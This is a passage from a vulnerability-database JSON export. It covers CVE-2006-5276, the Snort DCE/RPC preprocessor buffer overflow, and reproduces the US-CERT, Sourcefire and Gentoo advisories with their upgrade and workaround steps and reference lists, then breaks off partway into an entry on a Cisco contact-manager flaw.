"Stack-based buffer overflow in the DCE/RPC preprocessor in Snort before 2.6.1.3, and 2.7 before beta 2; and Sourcefire Intrusion Sensor; allows remote attackers to execute arbitrary code via crafted SMB traffic. Snort IDS and Sourcefire Intrusion Sensor are prone to a stack-based buffer-overflow vulnerability because the network intrusion detection (NID) systems fail to handle specially crafted 'DCE' and 'RPC' network packets. \nAn attacker can exploit this issue to execute malicious code in the context of the user running the affected application. Failed attempts will likely cause these applications to crash. The software provides functions such as packet sniffing, packet analysis, and packet inspection. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\n National Cyber Alert System\n\n Technical Cyber Security Alert TA07-050A\n\n\nSourcefire Snort DCE/RPC Preprocessor Buffer Overflow\n\n Original release date: February 19, 2007\n Last revised: --\n Source: US-CERT\n\n\nSystems Affected\n\n * Snort 2.6.1, 2.6.1.1, and 2.6.1.2\n * Snort 2.7.0 beta 1\n * Sourcefire Intrusion Sensors version 4.1.x, 4.5.x, and 4.6x with\n SEUs prior to SEU 64\n * Sourcefire Intrusion Sensors for Crossbeam version 4.1.x, 4.5.x,\n and 4.6x with SEUs prior to SEU 64\n\n Other products that use Snort or Snort components may be affected. \n\n\nI. The DCE/RPC\n preprocessor reassembles fragmented SMB and DCE/RPC traffic before\n passing data to the Snort rules. \n\n The vulnerable code does not properly reassemble certain types of\n SMB and DCE/RPC packets. An attacker could exploit this\n vulnerability by sending a specially crafted TCP packet to a host\n or network monitored by Snort. The DCE/RPC preprocessor is enabled\n by default, and it is not necessary for an attacker to complete a\n TCP handshake. \n\n US-CERT is tracking this vulnerability as VU#196240. This\n vulnerability has been assigned CVE number CVE-2006-5276. Further\n information is available in advisories from Sourcefire and ISS. \n\n\nII. \n\n\nIII. Solution\n\nUpgrade\n\n Snort 2.6.1.3 is available from the Snort download site. Sourcefire\n customers should visit the Sourcefire Support Login site. \n\nDisable the DCE/RPC Preprocessor\n\n To disable the DCE/RPC preprocessor, comment out the line that loads\n the preprocessor in the Snort configuration file (typically\n /etc/snort.conf on UNIX and Linux systems):\n\n [/etc/snort.conf]\n ... \n #preprocessor dcerpc... \n \n Restart Snort for the change to take effect. \n\n Disabling the preprocessor will prevent Snort from reassembling\n fragmented SMB and DCE/RPC packets. This may allow attacks to evade\n the IDS. \n\n\nIV. References\n\n * US-CERT Vulnerability Note VU#196240 -\n \n\n * Sourcefire Advisory 2007-02-19 -\n \n\n * Sourcefire Support Login - \n\n * Sourcefire Snort Release Notes for 2.6.1.3 -\n \n\n * Snort downloads - \n\n * DCE/RPC Preprocessor -\n \n\n * IBM Internet Security Systems Protection Advisory -\n \n\n * CVE-2006-5276 -\n \n\n\n ____________________________________________________________________\n\n The most recent version of this document can be found at:\n\n \n ____________________________________________________________________\n\n Feedback can be directed to US-CERT Technical Staff. Please send\n email to with \"TA07-050A Feedback VU#196240\" in the\n subject. \n ____________________________________________________________________\n\n For instructions on subscribing to or unsubscribing from this\n mailing list, visit . \n ____________________________________________________________________\n\n Produced 2007 by US-CERT, a government organization. \n\n Terms of use:\n\n \n ____________________________________________________________________\n\n\nRevision History\n\n February 19, 2007: Initial Release\n\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.2.1 (GNU/Linux)\n\niQEVAwUBRdop4+xOF3G+ig+rAQKdtAgAhQY66LRfVlNkH30Q5RI0gIo5Vhu14yDP\nqulLEyzjDhC7gDHWBGQYdE9eCy9Yf3P4BfKJS0766he/7CFn+BaDs7ohnXaynHQq\n+kMYNBMBg2RbrGKfOGRLHc0P6X1tSP3w45IppjOv9Yo5SUVDCa7beZWURCIKZyp6\nOuYXtnpiGNctHgeU56US0sfuKj8qP7KOd9pCDRDQRhJ3UUd9wDpXee66HBxchh+w\nRSIQiMxisOX9mMYBW3z4DM/lb7PxXoa2Q7DwjM1NIOe/0tAObCOvF4uYhOLCVyNg\n+EbcN9123V0PW95FITlHXvJU6K8srnnK+Fhpfyi4vg5bYeEF2WiUrg==\n=T7v8\n-----END PGP SIGNATURE-----\n. February 19, 2007\n\nSummary:\n\nSourcefire has learned of a remotely exploitable vulnerability in the \nSnort DCE/RPC preprocessor. Sourcefire \nhas prepared updates for Snort open-source software to address this issue. \n\n\nMitigating Factors:\n\nUsers who have disabled the DCE/RPC preprocessor are not vulnerable. \n\n\nRecommended Actions:\n\n* Open-source Snort 2.6.1.x users are advised to upgrade to Snort \n2.6.1.3 (or later) immediately. \n* Open-source Snort 2.7 beta users are advised to mitigate this issue by \ndisabling the DCE/RPC preprocessor. \n This issue will be resolved in Snort 2.7 beta 2. \n\n\nWorkarounds:\n\nSnort users who cannot upgrade immediately are advised to disable the \nDCE/RPC preprocessor by removing the DCE/RPC preprocessor directives \nfrom snort.conf and restarting Snort. However, be advised that disabling \nthe DCE/RPC preprocessor reduces detection capabilities for attacks in \nDCE/RPC traffic. After upgrading, customers should reenable the DCE/RPC \npreprocessor. \n\n\nDetecting Attacks Against This Vulnerability:\n\nSourcefire will be releasing a rule pack that provides detection for \nattacks against this vulnerability. \n\nHas Sourcefire received any reports that this vulnerability has been \nexploited?\n- No. Sourcefire has not received any reports that this vulnerability \nhas been exploited. \n\n\nAcknowledgments:\n\nSourcefire would like to thank Neel Mehta from IBM X-Force for reporting \nthis issue and working with us to resolve it. \n\n\n-------------------------------------------------------------------------\nTake Surveys. Earn Cash. Influence the Future of IT\nJoin SourceForge.net's Techsay panel and you'll get the chance to share your\nopinions on IT & business topics through brief surveys-and earn cash\nhttp://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV\n_______________________________________________\nSnort-announce mailing list\nSnort-announce@lists.sourceforge.net\nhttps://lists.sourceforge.net/lists/listinfo/snort-announce\n. \n\nResolution\n==========\n\nAll Snort users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-analyzer/snort-2.6.1.3\"\n\nReferences\n==========\n\n [ 1 ] CVE-2006-5276\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5276\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-200703-01.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttp://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2007 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n", "trust": 3.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "exploit_availability": { "sources": [ { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" } ], "data": [ { "type": "exploit", "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=3609", "trust": 0.4 }, { "type": "unknown", "reference": "https://www.scap.org.cn/vuln/vhn-21384", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CERT/CC", "id": "VU#196240" }, { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "BID", "id": "22616" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "PACKETSTORM", "id": "54569" }, { "db": "PACKETSTORM", "id": "54522" }, { "db": "PACKETSTORM", "id": "54834" }, { "db": "CNNVD", "id": "CNNVD-200702-347" }, { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "db": "CERT/CC", "id": "VU#196240", "trust": 3.8 }, { "db": "NVD", "id": "CVE-2006-5276", "trust": 3.2 }, { "db": "BID", "id": "22616", "trust": 2.9 }, { "db": "USCERT", "id": "TA07-050A", "trust": 2.7 }, { "db": "SECUNIA", "id": "24272", "trust": 2.6 }, { "db": "SECUNIA", "id": "24190", "trust": 2.6 }, { "db": "SECUNIA", "id": "24235", "trust": 2.6 }, { "db": "SECUNIA", "id": "24239", "trust": 1.8 }, { "db": "SECUNIA", "id": "26746", "trust": 1.8 }, { "db": "SECUNIA", "id": "24240", "trust": 1.8 }, { "db": "SECTRACK", "id": "1017669", "trust": 1.8 }, { "db": "SECTRACK", "id": "1017670", "trust": 1.8 }, { "db": "EXPLOIT-DB", "id": "3362", "trust": 1.8 }, { "db": "VUPEN", "id": "ADV-2007-0668", "trust": 1.8 }, { "db": "VUPEN", "id": "ADV-2007-0656", "trust": 1.8 }, { "db": "OSVDB", "id": "32094", "trust": 1.8 }, { "db": "XF", "id": "31275", "trust": 1.4 }, { "db": "JVNDB", "id": "JVNDB-2007-000170", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-200702-347", "trust": 0.7 }, { "db": "CERT/CC", "id": "TA07-050A", "trust": 0.6 }, { "db": "GENTOO", "id": "GLSA-200703-01", "trust": 0.6 }, { "db": "MILW0RM", "id": "3362", "trust": 0.6 }, { "db": "ISS", "id": "20070219 SOURCEFIRE SNORT REMOTE BUFFER OVERFLOW", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20070303 ERRATA: [ GLSA 200703-01 ] SNORT: REMOTE EXECUTION OF ARBITRARY CODE", "trust": 0.6 }, { "db": "FEDORA", "id": "FEDORA-2007-2060", "trust": 0.6 }, { "db": "EXPLOIT-DB", "id": "3609", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "54522", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "54569", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "54834", "trust": 0.2 }, { "db": "SEEBUG", "id": "SSVID-72771", "trust": 0.1 }, { "db": "EXPLOIT-DB", "id": "18723", "trust": 0.1 }, { "db": "EXPLOIT-DB", "id": "3391", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "111677", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "54632", "trust": 0.1 }, { "db": "VULHUB", "id": "VHN-21384", "trust": 0.1 }, { "db": "VULMON", "id": "CVE-2006-5276", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VULHUB", "id": "VHN-21384" } ], "data": true, "trust": 0.01, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" } ], "data": [ { "title": "Latest changelog : 2.6.1.3", "url": "http://www.snort.org/dl/", "trust": 0.8 }, { "title": "2007-02-19 Sourcefire Advisory: Vulnerability in Snort DCE/RPC Preprocessor", "url": "http://www.snort.org/docs/advisory-2007-02-19.html", "trust": 0.8 }, { "title": "Sourcefire Support Login", "url": "https://support.sourcefire.com/", "trust": 0.8 }, { "title": "Top Page", "url": "http://www.sourcefire.com/", "trust": 0.8 }, { "title": "Detection for Vulnerability in Snort DCE/RPC Pre-processor", "url": "http://www.sourcefire.com/services/advisories/sa022007.html", "trust": 0.8 }, { "title": "vrt-rules-2007-02-20", "url": "http://www.snort.org/vrt/advisories/vrt-rules-2007-02-20.html", "trust": 0.8 }, { "title": "LinuxFlaw", "url": "https://github.com/mudongliang/linuxflaw ", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CERT/CC", "id": "VU#196240" }, { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "BID", "id": "22616" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "PACKETSTORM", "id": "54569" }, { "db": "PACKETSTORM", "id": "54522" }, { "db": "PACKETSTORM", "id": "54834" }, { "db": "CNNVD", "id": "CNNVD-200702-347" }, { "db": "NVD", "id": "CVE-2006-5276" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "trust": 1.0, "problemtype": "NVD-CWE-Other" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "CERT/CC", "id": "VU#196240" }, { "db": "VULHUB", "id": "VHN-21384" }, { "db": "VULMON", "id": "CVE-2006-5276" }, { "db": "BID", "id": "22616" }, { "db": "JVNDB", "id": "JVNDB-2007-000170" }, { "db": "PACKETSTORM", "id": "54569" }, { "db": "PACKETSTORM", "id": "54522" }, { "db": "PACKETSTORM", "id": "54834" }, { "db": "CNNVD", "id": "CNNVD-200702-347" }, { "db": "NVD", "id": "CVE-2006-5276" } ], "data": [ { "url": "http://www.kb.cert.org/vuls/id/196240", "trust": 3.0 }, { "url": "http://www.snort.org/docs/advisory-2007-02-19.html", "trust": 2.9 }, { "url": "http://iss.net/threats/257.html", "trust": 2.6 }, { "url": "http://www.securityfocus.com/bid/22616", "trust": 2.6 }, { "url": "http://www.us-cert.gov/cas/techalerts/ta07-050a.html", "trust": 2.6 }, { "url": "http://security.gentoo.org/glsa/glsa-200703-01.xml", "trust": 1.9 }, { "url": "http://www116.nortelnetworks.com/pub/repository/clarify/document/2007/08/021923-01.pdf", "trust": 1.8 }, { "url": "http://fedoranews.org/updates/fedora-2007-206.shtml", "trust": 1.8 }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=229265", "trust": 1.8 }, { "url": "http://www.osvdb.org/32094", "trust": 1.8 }, { "url": "http://www.securitytracker.com/id?1017669", "trust": 1.8 }, { "url": "http://www.securitytracker.com/id?1017670", "trust": 1.8 }, { "url": "http://secunia.com/advisories/24190", "trust": 1.8 }, { "url": "http://secunia.com/advisories/24235", "trust": 1.8 }, { "url": "http://secunia.com/advisories/24239", "trust": 1.8 }, { "url": "http://secunia.com/advisories/24240", "trust": 1.8 }, { "url": "http://secunia.com/advisories/24272", "trust": 1.8 }, { "url": "http://secunia.com/advisories/26746", "trust": 1.8 }, { "url": "http://www130.nortelnetworks.com/go/main.jsp?cscat=bltndetail&documentoid=540173", "trust": 1.7 }, { "url": "http://xforce.iss.net/xforce/xfdb/31275", "trust": 1.4 }, { "url": "http://www.securityfocus.com/archive/1/461810/100/0/threaded", "trust": 1.2 }, { "url": "https://www.exploit-db.com/exploits/3362", "trust": 1.2 }, { "url": "http://www.vupen.com/english/advisories/2007/0656", "trust": 1.2 }, { "url": "http://www.vupen.com/english/advisories/2007/0668", "trust": 1.2 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/31275", "trust": 1.2 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-5276", "trust": 0.9 }, { "url": "https://support.sourcefire.com/", "trust": 0.8 }, { "url": "http://www.snort.org/docs/snort_htmanuals/htmanual_261/node104.html", "trust": 0.8 }, { "url": "http://www.snort.org/docs/release_notes/release_notes_2613.txt", "trust": 0.8 }, { "url": "http://www.snort.org/dl/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/24235/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/24190/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/24272/", "trust": 0.8 }, { "url": "http://jvn.jp/cert/jvnta07-050a/index.html", "trust": 0.8 }, { "url": "http://jvn.jp/tr/trta07-050a/index.html", "trust": 0.8 }, { "url": "http://nvd.nist.gov/nvd.cfm?cvename=cve-2006-5276", "trust": 0.8 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/461810/100/0/threaded", "trust": 0.6 }, { "url": "http://www.milw0rm.com/exploits/3362", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2007/0668", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2007/0656", "trust": 0.6 }, { "url": "https://www.it-isac.org/postings/cyber/alertdetail.php?id=4108&menutype=menupublic", "trust": 0.3 }, { "url": "http://www.snort.org/", "trust": 0.3 }, { "url": "http://www130.nortelnetworks.com/go/main.jsp?cscat=bltndetail&documentoid=540173&renditionid=&poid=null", "trust": 0.3 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2006-5276", "trust": 0.3 }, { "url": "http://www130.nortelnetworks.com/go/main.jsp?cscat=bltndetail&documentoid=540173", "trust": 0.1 }, { "url": "https://cwe.mitre.org/data/definitions/.html", "trust": 0.1 }, { "url": "https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2006-5276", "trust": 0.1 }, { "url": "https://nvd.nist.gov", "trust": 0.1 }, { "url": "https://www.rapid7.com/db/modules/exploit/multi/ids/snort_dce_rpc", "trust": 0.1 }, { "url": "https://www.exploit-db.com/exploits/3609/", "trust": 0.1 }, { "url": "http://www.snort.org/docs/snort_htmanuals/htmanual_261/node104.html>", "trust": 0.1 }, { "url": "http://www.us-cert.gov/cas/techalerts/ta07-050a.html>", "trust": 0.1 }, { "url": "http://iss.net/threats/257.html>", "trust": 0.1 }, { "url": "http://www.us-cert.gov/cas/signup.html>.", "trust": 0.1 }, { "url": "https://support.sourcefire.com/>", "trust": 0.1 }, { "url": "http://www.kb.cert.org/vuls/id/196240>", "trust": 0.1 }, { "url": "http://www.snort.org/dl/>", "trust": 0.1 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-5276>", "trust": 0.1 }, { "url": "http://www.us-cert.gov/legal.html>", "trust": 0.1 }, { "url": "http://www.snort.org/docs/advisory-2007-02-19.html>", "trust": 0.1 }, { "url": "http://www.snort.org/docs/release_notes/release_notes_2613.txt>", "trust": 0.1 }, { "url": "http://www.techsay.com/default.php?page=join.php&p=sourceforge&cid=devdev", "trust": 0.1 }, { "url": "https://lists.sourceforge.net/lists/listinfo/snort-announce", "trust": 0.1 }, { "url": "http://bugs.gentoo.org.", "trust": 0.1 }, { "url": "http://creativecommons.org/licenses/by-sa/2.5", "trust": 0.1 }, { "url": "http://security.gentoo.org/", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CERT/CC", "id": "VU#196240", "date": "2008-01-30T00:00:00" }, { "db": "VULHUB", "id": "VHN-21384", "date": "2018-10-17T00:00:00" }, { "db": "VULMON", "id": "CVE-2006-5276", "date": "2018-10-17T00:00:00" }, { "db": "BID", "id": "22616", "date": "2007-11-15T00:38:00" }, { "db": "JVNDB", "id": "JVNDB-2007-000170", "date": "2007-04-01T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-200702-347", "date": "2007-05-16T00:00:00" }, { "db": "NVD", "id": "CVE-2006-5276", "date": "2018-10-17T21:41:57.483000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CERT/CC", "id": "VU#196240", "date": "2007-02-19T00:00:00" }, { "db": "VULHUB", "id": "VHN-21384", "date": "2007-02-20T00:00:00" }, { "db": "VULMON", "id": "CVE-2006-5276", "date": "2007-02-20T00:00:00" }, { "db": "BID", "id": "22616", "date": "2007-02-19T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2007-000170", "date": "2007-04-01T00:00:00" }, { "db": "PACKETSTORM", "id": "54569", "date": "2007-02-23T03:05:45" }, { "db": "PACKETSTORM", "id": "54522", "date": "2007-02-20T01:23:04" }, { "db": "PACKETSTORM", "id": "54834", "date": "2007-03-06T06:25:25" }, { "db": "CNNVD", "id": "CNNVD-200702-347", "date": "2007-02-19T00:00:00" }, { "db": "NVD", "id": "CVE-2006-5276", "date": "2007-02-20T01:28:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "PACKETSTORM", "id": "54569" }, { "db": "CNNVD", "id": "CNNVD-200702-347" } ], "data": "remote", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "CERT/CC", "id": "VU#196240" } ], "data": "Sourcefire Snort DCE/RPC preprocessor does not properly reassemble fragmented packets", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-200702-347" } ], "data": "buffer overflow", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2006-5276", "last_update_date": "2024-07-23T22:43:25.614000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-200702-0378", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201011-0225](https://vulnerability.circl.lu/vuln/var-201011-0225) ```json { "id": "VAR-201011-0225", "affected_products": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "BID", "id": "44699" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "CNNVD", "id": "CNNVD-201011-105" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "vendor": "cisco", "model": "unified intelligent contact management", "version": null, "scope": null, "trust": 2.8 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr1", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr4", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr7", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr9", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr3", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr6", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr10", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr8", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr5", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)_sr2", "scope": "eq", "trust": 1.6 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr3", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr13", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)a", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr9", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr2", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr11", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)a", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr5", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr12", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr7", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "6.0\\(0\\)a\\(1\\)", "scope": "lte", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr8", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr10", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact manager", "version": "5.0\\(0\\)_sr4", "scope": "eq", "trust": 1.0 }, { "vendor": "cisco", "model": "intelligent contact management", "version": "7.0", "scope": "lt", "trust": 0.8 }, { "vendor": "cisco", "model": "unified intelligent contact management enterprise", "version": "6.0", "scope": "eq", "trust": 0.3 }, { "vendor": "cisco", "model": "unified intelligent contact management enterprise", "version": "5.0", "scope": "eq", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr3:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr4:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr5:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\):*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr11:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr13:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr7:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr9:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr6:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr8:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0\\(0\\)a\\(1\\)", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, 